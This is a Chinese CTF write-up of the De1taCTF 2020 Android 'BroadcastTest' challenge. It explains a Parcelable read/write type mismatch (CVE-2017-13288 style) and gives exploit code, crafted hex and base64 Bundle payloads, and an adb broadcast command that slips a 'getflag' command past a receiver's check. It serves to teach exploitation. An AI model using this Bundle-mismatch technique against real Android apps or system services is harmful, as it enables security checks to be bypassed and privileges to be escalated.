Android Pwn De1taCTF BroadcastTest复现

2020 De1taCTF BroadcastTest
Android Pwn中CVE-2017-13288的思路。
官方WP:https://github.com/De1ta-team/De1CTF2020

可以参看https://www.ms509.com/2018/07/03/bundle-mismatch,其中描述了Parcel中对于读出和写入时类型不一致会产生的漏洞。

Parcelable与Bundle机制

Android使用Parcelable接口来实现序列化的方法。一个类只要实现了Parcelable接口中的方法,其对象就能被序列化,并可以被intent或者binder传输。
其中,writeToParcelreadFromParcel方法,分别调用Parcel类中的一系列write方法和read方法实现序列化和反序列化。
可序列化的Parcelable对象一般不单独进行序列化传输,需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap,以Key-Value键值对的形式存储数据。

例如, Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象,利用putExtra(key, value)方法,可以往Intent的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等。

注: ParcelableSerializable都用来实现序列化并且都可以用于Intent间传递数据, Serializable是Java的实现方式, 可能会频繁的IO操作,所以消耗比较大,但是实现方式简单。 Parcelable是Android提供的方式,效率比较高,但是实现起来复杂一些 , 二者的选取规则是:内存序列化上选择Parcelable, 存储到设备或者网络传输上选择Serializable(当然Parcelable也可以但是稍显复杂)

bundle序列化过程浅析

Parcel类中维护着bundle中value的类型信息。各类型定义见
/frameworks/base/core/java/android/os/Parcel.java

    // Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
    private static final int VAL_NULL = -1;
    private static final int VAL_STRING = 0;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_MAP = 2;
    private static final int VAL_BUNDLE = 3;
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_SHORT = 5;
    private static final int VAL_LONG = 6;
    private static final int VAL_FLOAT = 7;
    private static final int VAL_DOUBLE = 8;
    private static final int VAL_BOOLEAN = 9;
    private static final int VAL_CHARSEQUENCE = 10;
    private static final int VAL_LIST  = 11;
    private static final int VAL_SPARSEARRAY = 12;
    private static final int VAL_BYTEARRAY = 13;
    private static final int VAL_STRINGARRAY = 14;
    private static final int VAL_IBINDER = 15;
    private static final int VAL_PARCELABLEARRAY = 16;
    private static final int VAL_OBJECTARRAY = 17;
    private static final int VAL_INTARRAY = 18;
...
    private static final int VAL_DOUBLEARRAY = 28;

在对bundle进行序列化的时候,会依次写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对。见BaseBundle.writeToParcelInner方法

    /**
     * Writes the Bundle contents to a Parcel, typically in order for
     * it to be passed through an IBinder connection.
     * @param parcel The parcel to copy this bundle to.
     */
    void writeToParcelInner(Parcel parcel, int flags) {
        // If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first.
        if (parcel.hasReadWriteHelper()) {
            unparcel();
        }
        // Keep implementation in sync with writeToParcel() in
        // frameworks/native/libs/binder/PersistableBundle.cpp.
        final ArrayMap<String, Object> map;
        synchronized (this) {
          ...
        }

        // Special case for empty bundles.
        if (map == null || map.size() <= 0) {
            parcel.writeInt(0);
            return;
        }
        int lengthPos = parcel.dataPosition();
        parcel.writeInt(-1); // dummy, will hold length
        parcel.writeInt(BUNDLE_MAGIC);

        int startPos = parcel.dataPosition();
        parcel.writeArrayMapInternal(map);
        int endPos = parcel.dataPosition();

        // Backpatch length
        parcel.setDataPosition(lengthPos);
        int length = endPos - startPos;
        parcel.writeInt(length);
        parcel.setDataPosition(endPos);
    }

parcel.writeArrayMapInternal方法写入键值对,先写入Hashmap的个数,然后依次写入键和值
/frameworks/base/core/java/android/os/Parcel.java#759

/*
 * Flatten an ArrayMap into the parcel at the current dataPosition(),
 * growing dataCapacity() if needed.  The Map keys must be String objects.
 */

/* package */ 
void writeArrayMapInternal(ArrayMap<String, Object> val) {
    ...
    final int N = val.size();
    writeInt(N);
    ... 
    int startPos;
    for (int i=0; i<N; i++) {
        if (DEBUG_ARRAY_MAP) startPos = dataPosition();
        writeString(val.keyAt(i));
        writeValue(val.valueAt(i));
    ...

然后,调用writeValue方法顺序写入value类型值和value本身,如果是Parcelable对象,则调用writeParcelable方法,后者会调用Parcelable对象的writeToParcel方法。

public final void writeValue(Object v) {
        if (v == null) {
            writeInt(VAL_NULL);
        } else if (v instanceof String) {
            writeInt(VAL_STRING);
            writeString((String) v);
        } else if (v instanceof Integer) {
            writeInt(VAL_INTEGER);
            writeInt((Integer) v);
        } else if (v instanceof Map) {
            writeInt(VAL_MAP);
            writeMap((Map) v);
        } else if (v instanceof Bundle) {
            // Must be before Parcelable
            writeInt(VAL_BUNDLE);
            writeBundle((Bundle) v);
        } else if (v instanceof PersistableBundle) {
            writeInt(VAL_PERSISTABLEBUNDLE);
            writePersistableBundle((PersistableBundle) v);
        } else if (v instanceof Parcelable) {
            // IMPOTANT: cases for classes that implement Parcelable must
            // come before the Parcelable case, so that their specific VAL_*
            // types will be written.
            writeInt(VAL_PARCELABLE);
            writeParcelable((Parcelable) v, 0);

反序列化过程则完全是一个对称的逆过程,依次读入Bundle携带所有数据的长度、Bundle魔数(0x4C444E42)、键和值,如果值为Parcelable对象,则调用对象的readFromParcel方法,重新构建这个对象。

题目复现

分析

app总共注册了三个BroadcastReceiver,只有第一个是exported的。相当于我们只能显示调用这个receiver。

MyReceiver1

  1. 从intent对象拿到iddata两个键值,对传入的data进行base64解码。
  2. 建立一个Parcel对象dest,将data拆包置入dest中。
  3. 创建新的intent对象,再把dest封包放入bundle中,发送给MyReceiver2.
public class MyReceiver1 extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        String str = "id";
        int id = intent.getIntExtra(str, 0);
        String data = intent.getStringExtra("data");
        if (id != 0 && data != null) {
            try {
                byte[] buffer = Base64.decode(data, 0);
                Parcel dest = Parcel.obtain();
                dest.unmarshall(buffer, 0, buffer.length);
                dest.setDataPosition(0);
                Intent intent1 = new Intent();
                intent1.setAction("com.de1ta.receiver2");
                intent1.setClass(context, MyReceiver2.class);
                Bundle bundle = new Bundle();
                bundle.readFromParcel(dest);
                intent1.putExtra(str, id);
                intent1.putExtra("message", bundle);
                context.sendBroadcast(intent1);
            } catch (Exception e) {
                Log.e("De1taDebug", "exception:", e);
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.append("Failed in Receiver1! id:");
                stringBuilder.append(id);
                Log.d("De1ta", stringBuilder.toString());
            }
        }
    }
}

MyReceiver2

这里进行对command内容的验证,从接收到的bundle中的command键取对应的value,要求取到的value不能和getflag相同。
然后,将bundle再次封装并发送给MyReceiver2

public class MyReceiver2 extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        String str = "message";
        Bundle bundle = intent.getBundleExtra(str);
        String str2 = "id";
        int id = intent.getIntExtra(str2, 0);
        String command = bundle.getString("command");
        String str3 = "Failed in Receiver2! id:";
        String str4 = "De1ta";
        if (id == 0 || command == null || command.equals("getflag")) {
            StringBuilder stringBuilder = new StringBuilder();
            stringBuilder.append(str3);
            stringBuilder.append(id);
            Log.d(str4, stringBuilder.toString());
            return;
        }
        try {
            Intent intent1 = new Intent();
            intent1.setAction("com.de1ta.receiver3");
            intent1.setClass(context, MyReceiver3.class);
            intent1.putExtra(str2, id);
            intent1.putExtra(str, bundle);
            context.sendBroadcast(intent1);
        } catch (Exception e) {
            Log.e("De1taDebug", "exception:", e);
            StringBuilder stringBuilder2 = new StringBuilder();
            stringBuilder2.append(str3);
            stringBuilder2.append(id);
            Log.d(str4, stringBuilder2.toString());
        }
    }
}

MyReceiver3

这里进行第二次验证,从接收到的bundle中的command键取对应的value,要求取到的value必须和getflag相同。

public class MyReceiver3 extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        String command = intent.getBundleExtra("message").getString("command");
        int id = intent.getIntExtra("id", 0);
        String str = "De1ta";
        if (id == 0 || command == null || !command.equals("getflag")) {
            StringBuilder stringBuilder = new StringBuilder();
            stringBuilder.append("Failed in Receiver3! id:");
            stringBuilder.append(id);
            Log.d(str, stringBuilder.toString());
            return;
        }
        stringBuilder = new StringBuilder();
        stringBuilder.append("Congratulations! id:");
        stringBuilder.append(id);
        Log.d(str, stringBuilder.toString());
    }
}

分析

发送给MyReceiver1的bundle经过一次拆包封包的过程然后发给MyReceiver2去验证。MyReceiver2验证一次后又进行拆包封包给MyReceiver3。这个过程中,两次验证分别要求不为getflag和等于getflag
看看还有什么代码没有分析。对了,就是MainActivity里面的Message类,它实现了Parcel接口。我们看Message中对拆包封包的逻辑处理。

        public Message(Parcel in) {
            this.bssid = in.readString();
            this.burstNumber = in.readInt();
            this.measurementFrameNumber = in.readInt();
            this.successMeasurementFrameNumber = in.readInt();
            this.frameNumberPerBurstPeer = in.readInt();
            this.status = in.readInt();
            this.measurementType = in.readInt();
            this.retryAfterDuration = in.readInt();
            this.f32ts = in.readLong();
            this.rssi = in.readInt();
            this.rssiSpread = in.readInt();
            this.txRate = in.readInt();
            this.rtt = in.readLong();
            this.rttStandardDeviation = in.readLong();
            this.rttSpread = in.readLong();
        }

        public void writeToParcel(Parcel dest, int i) {
            dest.writeString(this.bssid);
            dest.writeInt(this.burstNumber);
            dest.writeInt(this.measurementFrameNumber);
            dest.writeInt(this.successMeasurementFrameNumber);
            dest.writeInt(this.frameNumberPerBurstPeer);
            dest.writeInt(this.status);
            dest.writeInt(this.measurementType);
            dest.writeInt(this.retryAfterDuration);
            dest.writeLong(this.f32ts);
            dest.writeInt(this.rssi);
            dest.writeInt(this.rssiSpread);
            dest.writeByte((byte) this.txRate);
            dest.writeLong(this.rtt);
            dest.writeLong(this.rttStandardDeviation);
            dest.writeInt((int) this.rttSpread);
        }

其中writeToParcel是封包时候写入bundle的处理函数。可以看到写入的时候有强制类型转换

dest.writeByte((byte) this.txRate);
dest.writeInt((int) this.rttSpread);

而在读入的时候为

this.txRate = in.readInt();
this.rttSpread = in.readLong();

其中rttSpread写入的时候是按照int,但是读取的时候是long, 由于parcel顺序读写的结构,也就是说包中的long读取的时候会把下4个字节也读入以构成long,导致后面的键值对解析存在可控空间。
因为bundle里的数据是4字节对齐的,所以此处txRate写入byte,读取int的操作并没有影响。

复现

为了方便调试,我们把反编译后的代码移植到新创建的工程中。此处我新建了一个Android项目。

为了方便,创建了一个message的无参构造函数

 Message() {
        this.bssid = "bssid";
        this.burstNumber = 1;
        this.frameNumberPerBurstPeer = 2;
        this.measurementFrameNumber = 3;
        this.measurementType = 4;
        this.retryAfterDuration = 5;
        this.rssi = 6;
        this.rssiSpread = 7;
        this.rtt = 8;
        this.rttSpread = 9;
        this.rttStandardDeviation = 10;
        this.status = 11;
        this.successMeasurementFrameNumber = 12;
        this.f32ts = 13;
        this.txRate = 0xff;
}

然后写一个函数来发送广播

 public void sendData(Context context) {
        Bundle bundle = new Bundle();
        bundle.putParcelable("msg", new Message());
        bundle.putString("command","getflag");
        Parcel parcel = Parcel.obtain();
        parcel.writeBundle(bundle);
        parcel.setDataPosition(0);
        byte[] bytes = parcel.marshall();

        StringBuilder buffer = new StringBuilder();
        for (byte b : bytes) {
            buffer.append(String.format("%02x", b));
        }

        Log.d(TAG, buffer.toString());
        Log.d(TAG, new String(Base64.encode(bytes, 0)));
        Intent intent = new Intent("com.happy.parcelpwn.receiver1");
        intent.putExtra("id", (int) 6666);
        intent.putExtra("data", new String(Base64.encode(bytes, 0)));
        context.sendBroadcast(intent);
    }

logcat中查看打印的十六进制流

D/HAPPY_ANDROID: d0000000424e444c02000000030000006d00730067000000040000001b00000063006f006d002e00680061007000700079002e00700061007200630065006c00700077006e002e004d0065007300730061006700650000000500000062007300730069006400000001000000030000000c000000020000000b00000004000000050000000d000000000000000600000007000000ffffffff08000000000000000a00000000000000090000000700000063006f006d006d0061006e0064000000000000000700000067006500740066006c00610067000000

分析这段,第一个int是bundle数据长度(不包含长度位和魔数),即0xD0
接下来就是BNDL的魔数。
然后是键值对的个数0x2

  • 0x3是key的长度(两字节为1个单位,string会自动用0补齐4字节)
  • 6D 00 73 00 67 00 00 00为key的名称
  • 04 00 00 00为value的类型,此处4表示VAL_PARCELABLE
  • 1B 00 00 00为value的中parcel类名长度
  • 接下来到0xAB的位置都是value的内容
  • 0xAC处开始了新的key-value, 07 00 00 00即为key的长度,接下来分析如上,只不过此处value-type为0,即string类型。

调的时候写了一段临时的010 editor的模板

struct BUNDLE {
    int length <comment="total size of bundle">;
    int MAGIC <format=hex>;
    int key_value_number;

    local int current_size=12;

    typedef struct{
        int  k_length;
        SetForeColor( cGreen );
        ushort key_name[((k_length+3)/4)*4] ;
        SetForeColor( cNone );
        current_size+=4+ ((k_length+3)/4)*4*2;
    }key;
    typedef struct{
        int value_type;
        int v_length;
        SetForeColor( cBlue );
        if (value_type==4){
          ushort classname[(v_length+1)/2*2] <comment="only for Message class">;
          int classvalue[21];
            current_size+=(v_length+1)/2*2*2+21*4+8;
        }else{
          ushort value_[(v_length+3)/4*4];
            current_size+=v_length*2+8 ;
        }
        SetForeColor( cNone);
    }value;
    typedef struct{
        key k;
        value v;
    } KV ;

    while (current_size<length){
        KV kv_;
        //current_size = current_size + sizeof(kv_);
        Printf( "Current size=%d\n", current_size);
    }
} bundle;

看起来会稍微好些


然后我们考虑parcel末尾的09 00 00 00,由于读取的时候会按照09 00 00 00 07 00 00 00的long 8字节,那么接下来就会以下一个int,即此处的63 00 6F 00作为key的长度,再读取key,依次类推。而这里的63 00 6F 00是我们构造的key,接下来的内容,除了00和是字符串类型值,其他都可控。由于第一次读取的时候,会判断command的内容是否存在,而且不为getflag
我们可以构造一个command的键,其值确实不为getflag,但是它的value包含了一个command为键,getflag为值得序列对的字节码,这样我们在receiver3得第二次溢出时,可以让偏移转向这个序列对得开头,接着在此处解析就能得到getflag的值了。
Message和command之间我们可以插入int数组来构造偏移,int数组是4字节对齐的,其type值为12。

构造出的核心exp

bundle.putParcelable("66", new Message());
bundle.putIntArray("\3\00\3", new int[]{0x12, 0x18, 7, 6, 5, 4, 3, 2, 1,
                15, 16, 17, 18, 19, 20, 21, 22, 23}); // length : 0x12 :int array type
bundle.putString("\7\0command", "\07\0command\0\0\0\7\0getflags");

构造的核心点

  1. int数组长度为0x12,为了保证溢出以后,其长度位能够充当类型值。
  2. int数组第一个元素为0x12,第二次溢出以后,该元素能够作为类型值。
  3. int数组第二个元素用于控制偏移,以保证第二次溢出时,通过该值作为数组长度,获取下一个key-value的之后能够进入后面构造的\07\0command\0\0\0\7\0getflags中。
  4. 调试的时候把十六进制序列打印出来,注意string后面会自动补齐0就行了。
    构造出的序列
50010000424e444c03000000020000003600360000000000040000001b00000063006f006d002e00680061007000700079002e00700061007200630065006c00700077006e002e004d0065007300730061006700650000000500000062007300730069006400000001000000030000000c000000020000000b00000004000000050000000d000000000000000600000007000000ffffffff08000000000000000a000000000000000900000003000000030000000300000012000000120000001200000018000000070000000600000005000000040000000300000002000000010000000f0000001000000011000000120000001300000014000000150000001600000017000000090000000700000063006f006d006d0061006e006400000000000000160000000700000063006f006d006d0061006e0064000000000000000700000067006500740066006c0061006700730000000000

将其fromHex,然后base64

UAEAAEJOREwDAAAAAgAAADYANgAAAAAABAAAABsAAABjAG8AbQAuAGgAYQBwAHAAeQAuAHAAYQByAGMAZQBsAHAAdwBuAC4ATQBlAHMAcwBhAGcAZQAAAAUAAABiAHMAcwBpAGQAAAABAAAAAwAAAAwAAAACAAAACwAAAAQAAAAFAAAADQAAAAAAAAAGAAAABwAAAP////8IAAAAAAAAAAoAAAAAAAAACQAAAAMAAAADAAAAAwAAABIAAAASAAAAEgAAABgAAAAHAAAABgAAAAUAAAAEAAAAAwAAAAIAAAABAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAACQAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAABYAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwBzAAAAAAA=

然后用下面的命令去发送广播

adb shell am broadcast -n com.happy.parcelpwn/.MyReceiver1 -a com.happy.parcelpwn.receiver1 -f 32 --es data UAEAAEJOREwDAAAAAgAAADYANgAAAAAABAAAABsAAABjAG8AbQAuAGgAYQBwAHAAeQAuAHAAYQByAGMAZQBsAHAAdwBuAC4ATQBlAHMAcwBhAGcAZQAAAAUAAABiAHMAcwBpAGQAAAABAAAAAwAAAAwAAAACAAAACwAAAAQAAAAFAAAADQAAAAAAAAAGAAAABwAAAP////8IAAAAAAAAAAoAAAAAAAAACQAAAAMAAAADAAAAAwAAABIAAAASAAAAEgAAABgAAAAHAAAABgAAAAUAAAAEAAAAAwAAAAIAAAABAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAACQAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAABYAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwBzAAAAAAA= --ei id 2333

注意点

  • 这里用66作为message对象的键,由于bundle用的是hashmap,前文提到过。而hashmap底层是链表/红黑树,在写出的时候是按照键的hash值从小到大来的。特定的键会导致message的parcel被放到了command的后面去了,(因为有些键的hash值比command的hash大),这里要考虑这个问题,我有时候构造出的payload会发现key顺序不太对。(可以用String.hashcode()来判断。)
  • 另外,如果要打远程,需要改下parcel里面的类名信息即可,因为此处确保了类的其他实现和题中一致。(即com.de1ta.broadcasttest.MainActivity$Message)

参考

https://blog.csdn.net/whklhhhh/article/details/105929885

https://www.anquanke.com/post/id/204393

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 148,827评论 1 317
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 63,511评论 1 266
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 99,318评论 0 218
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,108评论 0 189
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,112评论 1 266
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,387评论 1 185
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 30,905评论 2 283
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,657评论 0 177
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,144评论 0 223
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,744评论 2 225
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,100评论 1 236
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,565评论 2 222
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,041评论 3 216
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,769评论 0 9
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,301评论 0 178
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,173评论 2 239
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,313评论 2 242